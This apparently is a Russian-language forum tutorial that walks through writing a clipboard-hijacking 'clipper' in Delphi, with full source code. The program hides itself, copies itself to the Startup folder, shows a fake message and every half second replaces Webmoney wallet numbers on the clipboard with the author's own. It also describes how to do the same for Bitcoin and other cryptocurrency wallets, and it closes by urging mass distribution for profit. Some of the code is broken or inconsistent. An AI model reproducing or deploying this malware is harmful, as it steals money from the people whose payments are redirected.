Внимание! Вся информация предоставлена ИСКЛЮЧИТЕЛЬНО в ознакомительных целях. Автор никого не побуждает к каким бы то ни было действиям и не рекламирует представленные сайты и утилиты. Приятного ознакомления :) На примере Webmoney кошелька я покажу Вам как сделать свой клиппер. Кодить будем наш на Delphi (не умные люди уже могут кричать , что весь софт написанный не на С++ - шлак) Ну поехали. Для уменьшения веса можно юзать Delphi 7 Создаем проект с формой (не люблю консольные приложухи) и сразу переходим в Project->Views Sourse Видим код : Application.Initialize; Application.CreateForm(TForm1, Form1); Application.Run; После второй строчки вставляем строчку : Application.ShowMainForm:=False; // так мы скроем нашу форму при запуске После {$R *.res} пишем функцию : function Check: boolean; var HM :THandle; begin HM:=OpenMutex(MUTEX_ALL_ACCESS, false, 'Mutekk1'); Result:=(HM<>0); if HM=0 then CreateMutex(nil, false, 'Mutekk1'); end; Code function Check: boolean; var HM :THandle; begin HM:=OpenMutex(MUTEX_ALL_ACCESS, false, 'Mutekk1'); Result:=(HM<>0); if HM=0 then CreateMutex(nil, false, 'Mutekk1'); end; И перед строкой Application.Initialize; мы пишем : if Check then halt; // защита от повторного запуска Code if Check then halt; // защита от повторного запуска 2. Возвращаемся обратно в Unit1> в Uses добавляем ClipBrd,tlhelp32, ShlObj В переменные добавляем : na,webmoney,e:string; pl, ts:TstringList; Code na,webmoney,e:string; pl, ts:TstringList; Настроили , отлично. Логика нашей программы следующая : каждую 0.5 секунды будем получать содержимое буфера -> каждую строчку разбивать на слова -> если слово подходит под правило кошелька webmoney то заменять , если нет , то ничего Автозапуск (самый примитивный , просто ****немся в папку Автозагрузка , можно юзать и планировщик) . На свойстве OnFormCreate ( или два клика по форме) вставляем код : [CODE]na:=ParamStr(0); try CopyFile(PChar(na), Pchar('C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup'), false); // копируем except end; MessageBox(0, 'Текст сообщения' , 'Заголовок' , mb_Yes); // фейк сообщение Code Автозапуск (самый примитивный , просто ****немся в папку Автозагрузка , можно юзать и планировщик) . На свойстве OnFormCreate ( или два клика по форме) вставляем код : [CODE]na:=ParamStr(0); try CopyFile(PChar(na), Pchar('C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup'), false); // копируем except end; MessageBox(0, 'Текст сообщения' , 'Заголовок' , mb_Yes); // фейк сообщение ФУНКЦИЯ РАЗБИВА СТРОК НА СЛОВА function Find(S:string): TStringList; var i:integer; S2:string; // i2:integer; begin Result := TStringList.Create; For i:=1 to Length(S) do begin if ( (s[i]<>' ') and (s[i]<>' ') and (s[i]<>' ') ) then S2:=s2+s[i] else if s2<>'' then begin Result.Add(S2); S2:=''; end; end; if s2<>'' then Result.Add(S2); end; Code function Find(S:string): TStringList; var i:integer; S2:string; // i2:integer; begin Result := TStringList.Create; For i:=1 to Length(S) do begin if ( (s[i]<>' ') and (s[i]<>' ') and (s[i]<>' ') ) then S2:=s2+s[i] else if s2<>'' then begin Result.Add(S2); S2:=''; end; end; if s2<>'' then Result.Add(S2); end; 4. Функция проверки слова на правило Webmoney function webmoney(a:string):boolean; var i2,i3:integer; const m=['A'..'Z']; const m1=['0'..'9']; begin i3:=0; //i4:=0; for i2 := 2 to length(a) do begin if a[i2] in m1 then inc(i3); if a[i2] in m then begin result:=false; exit; end; end; if i3=12 then Result:=true else Result:=false; end; Code function webmoney(a:string):boolean; var i2,i3:integer; const m=['A'..'Z']; const m1=['0'..'9']; begin i3:=0; //i4:=0; for i2 := 2 to length(a) do begin if a[i2] in m1 then inc(i3); if a[i2] in m then begin result:=false; exit; end; end; if i3=12 then Result:=true else Result:=false; end; 5. Кидаем на форму таймер , ставим интервал 500 (0.5 сек) , кидаем на форму Memo и в свойствах ScrollBar ставим sBoth. Два клика по таймеру и вставляем код : procedure TForm1.Timer1Timer(Sender: TObject); var i,i1:integer; b:tSTRINGlIST; e:string; begin try if Clipboard.HasFormat(CF_TEXT) then begin memo1.clear; b:=TstringList.Create; memo1.Text:=Clipboard.AsText; for I := 0 to memo1.Lines.Count do // идем по каждой строке от первой до последней begin // разбиваем строку на разные слова for i1 :=0 to Find(memo1.Lines).Count-1 do // идем уже по словам begin e:=Find(memo1.Lines)[i1]; if (e<>'') and (pos(' ' , e)=0 ) then // если слова без пробелов begin //смена webmoney/// if webr='1ebmorgegeref' then begin if ( (e[1]='R') and (length(e)=13) and (webmoney(e)=true) ) then memo1.lines:= StringReplace(memo1.Lines, e, 'ТУТ ВАШ КОШЕЛЕК' , [rfReplaceAll]); end; end; end; // конец хождения по словам end; // конец хода по каждой строке Clipboard.AsText:=memo1.Text; b.Free; end; except end; end; Code procedure TForm1.Timer1Timer(Sender: TObject); var i,i1:integer; b:tSTRINGlIST; e:string; begin try if Clipboard.HasFormat(CF_TEXT) then begin memo1.clear; b:=TstringList.Create; memo1.Text:=Clipboard.AsText; for I := 0 to memo1.Lines.Count do // идем по каждой строке от первой до последней begin // разбиваем строку на разные слова for i1 :=0 to Find(memo1.Lines).Count-1 do // идем уже по словам begin e:=Find(memo1.Lines)[i1]; if (e<>'') and (pos(' ' , e)=0 ) then // если слова без пробелов begin //смена webmoney/// if webr='1ebmorgegeref' then begin if ( (e[1]='R') and (length(e)=13) and (webmoney(e)=true) ) then memo1.lines:= StringReplace(memo1.Lines, e, 'ТУТ ВАШ КОШЕЛЕК' , [rfReplaceAll]); end; end; end; // конец хождения по словам end; // конец хода по каждой строке Clipboard.AsText:=memo1.Text; b.Free; end; except end; end; Компилируем А как программка поймет , что в буфере именно кошелек который нам нужен , и что подменять надо именно на соответствующий кошелек? Каждый кошелек по своему уникален. Например кошельки Webmoney имеют первый символ букву (R,Z и т.д) и дальше 12 цифр. Общая сумма символов Webmoney кошелька - 13 символов (при этом 12 из них цифры , следующие сразу за буквой). Bitcoin кошелек рассказывать не буду , просто прочитайте из скрина Т.е понимаем , что первый символ у нас либо 1 либо 3 , общее кол-во символов 26-33 (хотя тут на обман , у биткоин кошелька кол-во символов 33-34 , включая первую цифру). Точно так-же делается и с другими кошельками - **** , Litecoin , Dogi и т.д. Про правила генерации крипто кошельков можно свободно почитать в гугле. Каждый кошелек создается по своему правилу , и чем больше таких правил вы нагуглите , тем больше у вас будет подмены кошельков. Таким образом программка , мониторя буфер видит совпадение по правилу WEBMONEY кошелька , и такая , АГА , хоба - меняет этот кусок текста на наш вебмани. С другими кошельками аналогично. Вот и всё, осталось лишь распространить программу в масы и будет профит